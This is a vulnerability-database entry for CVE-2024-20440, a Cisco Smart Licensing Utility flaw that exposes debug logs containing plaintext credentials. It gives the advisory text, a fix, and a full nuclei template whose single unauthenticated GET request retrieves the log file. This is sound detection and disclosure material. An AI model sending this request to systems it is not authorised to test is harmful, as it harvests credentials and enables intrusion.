HexBrain

Browse / CVEs / CVE-2024-20440

CVE-2024-20440· CWE-532

Cisco Smart Licensing Utility UnAuthenticated Logs Exposure Leaking Plaintext Credentials

highseverity
7.5CVSS score
51.9%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

A vulnerability in Cisco Smart Licensing Utility could allow an unauthenticated, remote attacker to access sensitive information.This vulnerability is due to excessive verbosity in a debug log file. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to obtain log files that contain sensitive data, including credentials that can be used to access the API.

Impact

Unauthenticated attackers can access debug log files containing plaintext credentials and other sensitive information, enabling further attacks on the system.

Fix

Update Cisco Smart Licensing Utility to a version that prevents log file exposure.

How to confirm it

Send: GET /cslu/v1/var/logs/customer-cslu-lib-log.log
Positive when: contains "csluev.log" AND contains in content_type "text/x-log" AND status 200

Run it with nuclei: nuclei -id CVE-2024-20440 -u <target>

The full check
id: CVE-2024-20440

info:
  name: Cisco Smart Licensing Utility UnAuthenticated Logs Exposure Leaking Plaintext Credentials
  author: iamnoooob,parthmalhotra,pdresearch
  severity: high
  description: |
    A vulnerability in Cisco Smart Licensing Utility could allow an unauthenticated, remote attacker to access sensitive information.This vulnerability is due to excessive verbosity in a debug log file. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to obtain log files that contain sensitive data, including credentials that can be used to access the API.
  impact: |
    Unauthenticated attackers can access debug log files containing plaintext credentials and other sensitive information, enabling further attacks on the system.
  remediation: |
    Update Cisco Smart Licensing Utility to a version that prevents log file exposure.
  reference:
    - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cslu-7gHMzWmw
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-20440
    cwe-id: CWE-532
    epss-score: 0.51897
    epss-percentile: 0.98961
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2024,cisco,smart,licensing,info-leak,vkev,vuln

http:
  - raw:
      - |
        GET /cslu/v1/var/logs/customer-cslu-lib-log.log HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "csluev.log"

      - type: word
        part: content_type
        words:
          - "text/x-log"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from